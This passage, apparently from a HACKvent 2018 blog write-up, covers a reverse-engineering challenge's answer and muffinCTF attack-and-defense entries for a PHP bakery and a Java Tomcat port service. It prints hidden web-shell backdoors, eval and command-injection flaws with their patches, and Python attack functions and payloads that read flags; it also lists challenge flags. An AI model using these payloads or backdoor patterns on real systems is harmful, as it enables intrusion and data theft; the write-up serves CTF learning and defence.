srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_11-1024x341.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_11-300x100.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_11-768x256.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_11.png 1313w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>&#8230; and set a watch expression to calculate the expected value for <i>$var13<\/i> on the fly:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1029\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_12-1024x329.png\" alt=\"\" width=\"900\" height=\"289\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_12-1024x329.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_12-300x96.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_12-768x247.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_12.png 1188w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>Now we can directly see the expected value:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1030\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_13.png\" alt=\"\" width=\"377\" height=\"347\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_13.png 377w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_13-300x276.png 300w\" sizes=\"(max-width: 377px) 100vw, 377px\" \/><\/p>\n<p>Thus the first letter of the promo code is a <i>W<\/i>.<\/p>\n<p>Now we only need to edit the first letter appropriately and rerun the input validation, continuing after the breakpoint halt until we can read the next character:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1031\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_14-1024x341.png\" alt=\"\" width=\"900\" height=\"300\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_14-1024x341.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_14-300x100.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_14-768x256.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_14.png 1313w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>After stepping through all 15 characters we finally got the valid promo code: <i>W3b45m1sRlyF45t<\/i>.<\/p>\n<p>Entering this code yields the flag:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1032\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_15.png\" alt=\"\" width=\"929\" height=\"760\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_15.png 929w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_15-300x245.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day19_15-768x628.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18-rKRV-Cg2G-jz4B-QrIy-OF9i<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day21\">Day 21: muffinCTF<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: muffinx featuring xorkiwi<\/span><br>\n<i>Day 1<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">\n<pre style=\"white-space: pre;\">    DAY 1 Services\n    --------------------------------------------\n          _______\n         \/       )\n        \/_____   | ______\n       (  '   ) \/ \/    __\\   _____\n        |.  '| \/ |     \\ |  \/     ))\n        |____|\/  |`-----'  \/_____))\n                  `-----'  `------'\n\n        Name: bakery\n        Description:\n            Simply the best bakery in town!\n            The good smell goes around the streets.\n            Make sure that the thieves of the enemy nations cannot steal our bread!\n            Maybe you have a method where we can get more bread?\n        Creator: muffinx\n\n\n                  \/ \\  _  _  _  \/ \\\n                  | | \/ \\\/ \\\/ \\ | |\n              %   | |I| || || |=o | %\n              %   | | j_jj_jj_j | | %     v %\n            V |   | ||_________|| | | .:,&gt;@&lt;%%\n           &gt;@&lt;| ; | | | || || | | | | ~*~ | |%\n           *| |:X:| |I| || || | | | |*'|`\\|\/||   ~@~   *\n          ,||\/|`|'|_| |_||_||_| |_|,||,|\/ |,||Vv,`|',v`|v hjw\n\n        Name: garden\n        Description:\n            A very beautiful vegetable\/fruit garden.\n            There is even a pond where there are swimming fish and jumping frogs.\n            Fix the defenses, in our past we had attacks with fire arrows.\n            Also we are short in potatoes, please get us some more.\n        Creator: muffinx\n<\/pre>\n<hr>\n<p>Login to: <a href=\"http:\/\/whale.hacking-lab.com:9280\/\" target=\"_new\">muffinCTF<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>After originally being planned to begin on day15, the 3-day muffinCTF was delayed to day21 due to some technical issues and I was really keen to participate.<\/p>\n<p>Though there were still some technical issues, I really enjoyed it and appreciate the awesome work, which was required to set up an attack-and-defense CTF like this.<\/p>\n<p>Since time is a rare asset especially in the days before christmas, I only focused on one application per day (this was sufficient to get the hackvent-flag).<\/p>\n<p>On the first day I chose the <b>bakery<\/b> service.<\/p>\n<p>The service is a php-based website:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1033\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_02.png\" alt=\"\" width=\"500\" height=\"432\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_02.png 752w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_02-300x259.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p>&#8230; with the ability to create breads (this is where the gamebot stores flags on the own box) and calculate a prize:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1034\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_03.png\" alt=\"\" width=\"500\" height=\"467\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_03.png 754w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_03-300x280.png 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p>Also it is possible to send breads (basically pinging some ip-address):<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1035\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_04.png\" alt=\"\" width=\"500\" height=\"553\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_04.png 754w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_04-271x300.png 271w\" sizes=\"(max-width: 500px) 100vw, 500px\" \/><\/p>\n<p>There are quite a lot of vulnerabilities and backdoors on the box (either directly on the service or somewhere else hidden on the box).<\/p>\n<p>I fixed the following vulnerabilities\/backdoors and created the corresponding attack-functions (there are surely more attack-vectors especially through other services):<\/p>\n<p><u>1. system-backdoors<\/u><\/p>\n<p>The file <i>\/home\/bakery\/&#8230;\/.php<\/i> (notice the three dots which could have been easily overseen when listing the directory contents), as well as the file <i>\/home\/bakery\/css\/components\/checkbox.php<\/i> both contain a system-backdoor:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/home\/bakery# cat ...\/.php | grep system\n(... a lot of spaces ...)          &lt;?php if(isset($_GET&#x5B;&#039;_&#039;])) { system($_GET&#x5B;&#039;_&#039;]); } ?&gt;\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; title: ; notranslate\" title=\"\">\ncat css\/components\/checkbox.php | grep system\n(... a lot of spaces ...)          &lt;?php if(isset($_GET&#x5B;&#039;_&#039;])) { system($_GET&#x5B;&#039;_&#039;]); } ?&gt;\n<\/pre><\/div>\n\n<p>To fix the backdoor on the own box, I simply commented out the system-calls.<\/p>\n<p>In order to exploit the backdoor on other systems I added the following functions using the provided attack-framework:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackBakeryBackdoor1(url):\n  aurl = url + '\/...\/.php?_=cat%20\/home\/bakery\/breads\/*'\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return ''\n  \ndef attackBakeryBackdoor2(url):\n  aurl = url + '\/css\/components\/checkbox.php?_=cat%20\/home\/bakery\/breads\/*'\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return ''\n\n...\nattack_all('bakery', attackBakeryBackdoor1)\nattack_all('bakery', attackBakeryBackdoor2)\n<\/pre><\/div>\n\n<p>Since the flags are stored in <i>\/home\/bakery\/breads\/<\/i> this will return all flags.<\/p>\n<p><u>2. create bread vulnerability<\/u><\/p>\n<p>The create bread functionality is used by the gamebot to store flags to <i>\/home\/bakery\/breads\/<\/i>.<\/p>\n<p>The related source code is stored in <i>inc\/breads.php<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/home\/bakery\/inc# cat breads.php\n&lt;?php\n...\n\/\/ flag deployment\nif(isset($_GET&#x5B;&#039;bread&#039;])) {\n  $bread_content = $_GET&#x5B;&#039;bread&#039;];\n  $bread_name = md5($bread_content);\n  file_put_contents(&#039;..\/breads\/&#039;.$bread_name, $bread_content);\n  die();\n}\n\n?&gt;\n<\/pre><\/div>\n\n<p>This can be used to store arbitrary data in a file stored in <i>\/breads<\/i>. The name of the file will be the md5 checksum of the file&#8217;s content.<\/p>\n<p>In combination with the file <i>inc\/inc.php<\/i> this arbitrary data can be included as a php-file:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/home\/bakery\/inc# cat inc.php\n&lt;?php\n\n  # needs to include the needed pages\n  if(isset($_GET&#x5B;&#039;page&#039;])) {\n    include($_GET&#x5B;&#039;page&#039;]);\n  }\n\n?&gt;\n<\/pre><\/div>\n\n<p>I fixed the vulnerability by only excepting real flags:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; title: ; notranslate\" title=\"\">\n...\n\/\/ flag deployment\nif(isset($_GET&#x5B;'bread'])) {\n  $bread_content = $_GET&#x5B;'bread'];\n  if (preg_match(\"\/muffinCTF{&#x5B;a-f0-9]{40}}\/\", $bread_content)) {\n    $bread_name = md5($bread_content);\n    file_put_contents('..\/breads\/'.$bread_name, $bread_content);\n  } else echo 'no flags for u, sir.';\n  die();\n}\n...\n<\/pre><\/div>\n\n<p>Now the bread content must fulfill the flag format restrictions.<\/p>\n<p>In order to exploit the vulnerability on other machines I added the following attack function:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackCreateBread(url):\n  aurl = url + &#039;\/inc\/inc.php?page=breads.php&amp;bread=&lt;?php system(%22echo `cat ..\/breads\/*`%22);?&gt;&#039;\n  try:\n    r = requests.get(aurl, timeout=3)\n  except: return &#039;&#039;\n\n  aurl = url + &#039;\/inc\/inc.php?page=..\/breads\/33442f0aca7d9b591162897811c37356&#039;\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return &#039;&#039;\n\n...\nattack_all(&#039;bakery&#039;, attackCreateBread)\n<\/pre><\/div>\n\n<p>This will create a new bread, which outputs all other bread&#8217;s content. This new bread is called by using the <i>inc.php<\/i> file.<\/p>\n<p><u>3. prize calculation vulnerability<\/u><\/p>\n<p>The prize calculation directly passes the user&#8217;s input (<i>$_GET[&#8216;prize&#8217;]<\/i>) to eval:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/home\/bakery\/inc# cat breads.php\n&lt;?php\n\n# calculations need to be possible, examples:\n# (23+64)\n# 123*3\n# 321-122\nif(isset($_GET&#x5B;&#039;prize&#039;])) {\n  eval(&#039;echo number_format(((&#039;.$_GET&#x5B;&#039;prize&#039;].&#039;)*1.20),2);&#039;);\n  die();\n}\n...\n<\/pre><\/div>\n\n<p>This surely is no good idea, since the user&#8217;s input can contain malicous php code.<\/p>\n<p>To fix this I added a regular expression only allowing the following characters: <i>01234567890.()+-\/*<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; highlight: [3,5,6]; title: ; notranslate\" title=\"\">\n...\nif(isset($_GET&#x5B;'prize'])) {\n  if (preg_match(\"\/^&#x5B;0-9\\.\\+\\-\\(\\)\\*\\\/]*$\/\", ($_GET&#x5B;'prize']))) {\n    eval('echo number_format((('.$_GET&#x5B;'prize'].')*1.20),2);');\n  }\n  else echo 'no flags here sir.';\n  die();\n}\n...\n<\/pre><\/div>\n\n<p>It is quite benefiting to log all the traffic on your own box, to see how other people try to attack you.<\/p>\n<p>Using this technique I quickly <i>grabbed<\/i> a payload for this vulnerability and could focus on something other right away:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackPrizeCalc(url):\n  aurl = url + '\/inc\/inc.php?page=breads.php&prize=2))%2C2)%3B%20echo%20%27%20%20%27%3B%20foreach(scandir(%27%2Fhome%2Fbakery%2Fbreads%27)%20AS%20%24thisfile)%20%7Bif%20(%24thisfile!%3D%22.%22%20AND%20%24thisfile!%3D%22..%22)%20%7Becho%20file_get_contents(%22%2Fhome%2Fbakery%2Fbreads%2F%22.%24thisfile).%22%20%22%3B%7D%7D%3B%20echo%20number_format(((5'\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return ''\n...\n\nattack_all('bakery', attackPrizeCalc)\n<\/pre><\/div>\n\n<p>The payload scans the <i>\/home\/bakery\/breads<\/i> directory and prints out all containing breads (flags).<\/p>\n<p><u>4. bread send vulnerability<\/u><\/p>\n<p>The sending of breads is done by directly passing the user&#8217;s input to <i>system<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/home\/bakery\/inc# cat breadSend.php\n&lt;?php\n\n# need to ping addresses\nif(isset($_GET&#x5B;&#039;ip&#039;])) {\n  system(&#039;ping -c 1 &#039;.$_GET&#x5B;&#039;ip&#039;]);\n  die();\n}\n\n?&gt;\n<\/pre><\/div>\n\n<p>To avoid any malicous additional commands to be injected here, I added yet another regular expression:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: php; highlight: [3,5]; title: ; notranslate\" title=\"\">\n...\nif(isset($_GET&#x5B;'ip'])) {\n  if (preg_match(\"\/^\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\z\/\", $_GET&#x5B;'ip'])) {\n    system('ping -c 1 '.$_GET&#x5B;'ip']);\n  } else echo 'no flags for u, sir.';\n  die();\n}\n...\n<\/pre><\/div>\n\n<p>In order to exploit the vulnerability on other machines a simple command injection suffices:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackBreadSend(url):\n  aurl = url + '\/inc\/inc.php?page=breadSend.php&ip=;cat%20..\/breads\/*'\n  try:\n    r = requests.get(aurl, timeout=3)\n    return r.text\n  except: return ''\n...\n\nattack_all('bakery', attackBreadSend)\n<\/pre><\/div>\n\n<p>After submitting at least one flag on two different ticks, as well as gaining maximal defense and availability points in those two ticks, the hackvent-flag is unlocked:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-1036\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_01-1024x356.png\" alt=\"\" width=\"1000\" height=\"348\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_01-1024x356.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_01-300x104.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_01-768x267.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day21_01.png 1840w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>The flag is:<br>\n<span style=\"color: #0000ff;\"><strong>HV18{muffinCTF{d4y_1_l3t_th3_g4m3s_b3g1n_st4y_c0v3r3d_f0r_m0r3_h4x_stuff}}<\/strong><\/span><\/p>\n<hr>\n<h1 id=\"day22\">Day 22: muffinCTF<\/h1>\n<table style=\"background-color: #eeeeee;\">\n<tbody>\n<tr>\n<td width=\"90\"><center><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-832\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\"><\/center><\/td>\n<td><span style=\"color: #666666; font-size: smaller;\">Author: muffinx featuring xorkiwi<\/span><br>\n<i>Day 2<\/i><\/td>\n<\/tr>\n<tr>\n<td style=\"padding: 5px 20px 5px 20px;\" colspan=\"2\">\n<pre style=\"white-space: pre;\">    DAY 2 Services\n    --------------------------------------------\n\n                    ,-_                  (`  ).\n                    |-_'-,              (     ).\n                    |-_'-'           _(        '`.\n            _        |-_'\/        .=(`(      .     )\n            \/;-,_     |-_'        (     (.__.:-`-_.'\n            \/-.-;,-,___|'          `(       ) )\n            \/;-;-;-;_;_\/|\\_ _ _ _ _   ` __.:'   )\n            x_( __`|_P_|`-;-;-;,|        `--'\n            |\\ \\    _||   `-;-;-'\n            | \\`   -_|.      '-'\n            | \/   \/-_| `\n            |\/   ,'-_|  \\\n            \/____|'-_|___\\\n            _..,____]__|_\\-_'|_[___,.._\n            '                          ``'--,..,.\n      Name: mill\n      Description:\n          The wheels are moving all day here.\n          The best flour in the whole city is produced in this mill.\n          Improve the security of the mill.\n          And reduce production rate of food for enemy nations.\n      Creator: xorkiwi\n\n                         __--___\n                       &gt;_'--'__'\n                      _________!__________\n                     \/   \/   \/   \/   \/   \/\n                    \/   \/   \/   \/   \/   \/\n                   |   |   |   |   |   |\n              __^  |   |   |   |   |   |\n            _\/@  \\  \\   \\   \\   \\   \\   \\\n           S__   |   \\   \\   \\   \\   \\   \\         __\n          (   |  |    \\___\\___\\___\\___\\___\\       \/  \\\n              |   \\             |                |  |\\|\n              \\    \\____________!________________\/  \/\n               \\ _______OOOOOOOOOOOOOOOOOOO________\/\n                \\________\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_______\/\n      %%%^^^^^%%%%%^^^^!!^%%^^^^%%%%%!!!!^^^^^^!%^^^%%%%!!^^\n      ^^!!!!%%%%^^^^!!^^%%%%%^^!!!^^%%%%%!!!%%%%^^^!!^^%%%!!\n\n      Name: port\n      Description:\n          There are ships coming from a long distance.\n          At the top of the light house you can have a nice view at the sea.\n          Attention, make sure that there are no enemy ships coming into our port.\n          Maybe you want to send some ships of us to remind them of our offensive capabilities.\n      Creator: xorkiwi\n<\/pre>\n<hr>\n<p>Login to: <a href=\"http:\/\/whale.hacking-lab.com:9280\/\" target=\"_new\">muffinCTF<\/a><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>On the second day I focused on the <b>port<\/b> service.<\/p>\n<p>The service is an <i>Apache Tomcat Webserver<\/i> and is thus written in <i>Java<\/i>.<\/p>\n<p>The actual app is stored in <i>\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:~# cd \/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT\/\nroot@muffinCTFBox:\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT# ls -al\ntotal 56\ndrwxrwxrwx 11 tomcat tomcat 4096 Dec 23 05:49 .\ndrwxr-x---  7 tomcat tomcat 4096 Apr 27  2018 ..\ndrwxr-xr-x  4 root   root   4096 Dec 23 05:49 css\ndrwxr-xr-x  2 root   root   4096 Dec 23 05:49 data\ndrwxr-xr-x  3 root   root   4096 Dec 23 05:49 default\ndrwxr-xr-x  2 root   root   4096 Dec 23 05:49 html\ndrwxr-xr-x  2 root   root   4096 Dec 23 05:49 img\n-rw-r--r--  1 root   root    871 Dec 23 05:49 index.jsp\ndrwxr-xr-x  3 root   root   4096 Dec 23 05:49 js\n-rw-r--r--  1 root   root    411 Dec 23 05:49 response.jsp\n-rw-r--r--  1 root   root    523 Dec 23 05:49 searchPortname.jsp\ndrwxr-xr-x  2 root   root   4096 Dec 23 05:49 try\ndrwxrwxrwx  2 root   root   4096 Dec 28 16:16 uploads\ndrwxr-xr-x  3 root   root   4096 Dec 23 05:49 WEB-INF\n<\/pre><\/div>\n\n<p>Let&#8217;s have a look at the frontend:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1037\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_02-1024x822.png\" alt=\"\" width=\"525\" height=\"421\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_02-1024x822.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_02-300x241.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_02-768x616.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_02.png 1039w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>When selecting <i>Shipstorage<\/i> we can send ships by uploading a file and retrieve ships by entering the ship&#8217;s filename in an input field:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1047\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_03-1024x822.png\" alt=\"\" width=\"525\" height=\"421\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_03-1024x822.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_03-300x241.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_03-768x616.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_03.png 1039w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>The menu entry <i>Portname<\/i> offers another input field to get the address of a remote port:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-large wp-image-1048\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_04-1024x526.png\" alt=\"\" width=\"525\" height=\"270\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_04-1024x526.png 1024w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_04-300x154.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_04-768x395.png 768w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/12\/day22_04.png 1039w\" sizes=\"(max-width: 525px) 100vw, 525px\" \/><\/p>\n<p>I fixed the following vulnerabilities\/backdoors and created the corresponding attack-functions (there are surely more attack-vectors especially through other services):<\/p>\n<p><u>1. backdoors: Runtime.getRuntime().exec(&#8230;)<\/u><\/p>\n<p>In java the equivalent for the <i>system<\/i> function in php (see <a href=\"#hv18_21\">day21<\/a>) is <i>Runtime.getRuntime().exec<\/i> (though there are multiple ways in both java and php to run system commands).<\/p>\n<p>Again there are two files containing a backdoor to directly run system commands:\n<\/p>\n<ul style=\"margin-top: 0px; margin-bottom: -5px;\">\n<li><i>\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT\/css\/themes\/default\/assets\/fonts\/icons.svg.jsp<\/i><\/li>\n<li><i>\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT\/js\/Framework\/jquery.min\/javascript\/plugins\/lib\/jquery.min.js.jsp<\/i><\/li>\n<\/ul>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: java; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT# grep . -nrw -e 'Runtime'\n...\n.\/css\/themes\/default\/assets\/fonts\/icons.svg.jsp:21:        Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n...\n.\/js\/Framework\/jquery.min\/javascript\/plugins\/lib\/jquery.min.js.jsp:21:        Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n<\/pre><\/div>\n\n<p>To fix these backdoors, we can simply comment out the appropriate lines in both files:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: java; title: ; notranslate\" title=\"\">\n    if (request.getParameter(\"cmd\") != null) {\n        out.println(\"Command: \" + request.getParameter(\"cmd\") + \"\n\");\n        \/*Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n        OutputStream os = p.getOutputStream();\n        InputStream in = p.getInputStream();\n        DataInputStream dis = new DataInputStream(in);\n        String disr = dis.readLine();\n        while ( disr != null ) {\n            out.println(disr);\n            disr = dis.readLine();\n        }*\/\n        out.println(\"no flags for u, sir.\");\n    }\n<\/pre><\/div>\n\n<p>To exploit the backdoors I added the following attack functions:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\ndef attackBakeryBackdoor1(url):\n  v = ''\n  aurl = url + '\/js\/Framework\/jquery.min\/javascript\/plugins\/lib\/jquery.min.js.jsp?cmd=ls+-t+%2Fopt%2Ftomcat%2Ftomcat-latest%2Fwebapps%2FROOT%2Fuploads'\n  try:\n    r = requests.get(aurl, timeout=3)\n    for line in r.text.split('\\n'):\n      line = line.strip()\n      if (line&#x5B;-4:] != '.txt'): continue\n      try:\n        r = requests.get(url+'\/uploads\/'+line, timeout=3)\n        v += r.text\n      except: pass\n  except: pass\n  return v\n\ndef attackBakeryBackdoor2(url):\n  v = ''\n  aurl = url + '\/css\/themes\/default\/assets\/fonts\/icons.svg.jsp?cmd=ls+-t+%2Fopt%2Ftomcat%2Fapache-tomcat-9.0.8%2Fwebapps%2FROOT%2Fuploads'\n  try:\n    r = requests.get(aurl, timeout=3)\n    for line in r.text.split('\\n'):\n      line = line.strip()\n      if (line&#x5B;-4:] != '.txt'): continue\n      try:\n        r = requests.get(url+'\/uploads\/'+line, timeout=3)\n        v += r.text\n      except: pass\n  except: pass\n  return v\n...\nattack_all('port', attackBakeryBackdoor1)\nattack_all('port', attackBakeryBackdoor2)\n<\/pre><\/div>\n\n<p>Instead of directly running <i>cat<\/i> on the flags\/* directory, I used <i>ls -t<\/i> to list all flag files order by modification time and then accessed the specific file within the uploads folder.<\/p>\n<p><u>2. send ship vulnerability<\/u><\/p>\n<p>The send ship frontend is stored in <i>.\/html\/ships.html<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: xml; title: ; notranslate\" title=\"\">\nroot@muffinCTFBox:\/opt\/tomcat\/apache-tomcat-9.0.8\/webapps\/ROOT# cat html\/ships.html\n\n&lt;h1&gt; Ships &lt;\/h1&gt;\n&lt;br \/&gt;\n&lt;img src=&quot;img\/ship.png&quot; width=&quot;10%&quot;  \/&gt;\n&lt;br \/&gt;\n&lt;br \/&gt;\n\n&lt;html&gt;\n&lt;head&gt;&lt;\/head&gt;\n&lt;body&gt;\n&lt;h2&gt;Send ship&lt;\/h2&gt;\n&lt;form action=&quot;FileUploadServlet&quot; method=&quot;post&quot; enctype=&quot;multipart\/form-data&quot;&gt;\n    &lt;div&gt;\n        &lt;label for=&quot;hidden-new-file&quot; class=&quot;ui icon button&quot;&gt;\n            &lt;i class=&quot;cloud icon&quot;&gt;&lt;\/i&gt;\n            Select File\n        &lt;\/label&gt;\n        &lt;input type=&quot;file&quot; id=&quot;hidden-new-file&quot; name=&quot;fileName&quot; style=&quot;display: none&quot;&gt;\n    &lt;\/div&gt;\n    &lt;br\/&gt;\n    &lt;br\/&gt;\n    &lt;input class=&quot;ui button&quot; type=&quot;submit&quot; value=&quot;Upload&quot;&gt;\n&lt;\/form&gt;\n...\n<\/pre><\/div>\n\n<p>The file being uploaded through the form is passed via a POST-request to <i>FileUploadServlet<\/i>. This is a java .class file, which can be found in <i>.\/WEB-INF\/classes\/com\/servlet<\/i>:\n<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre 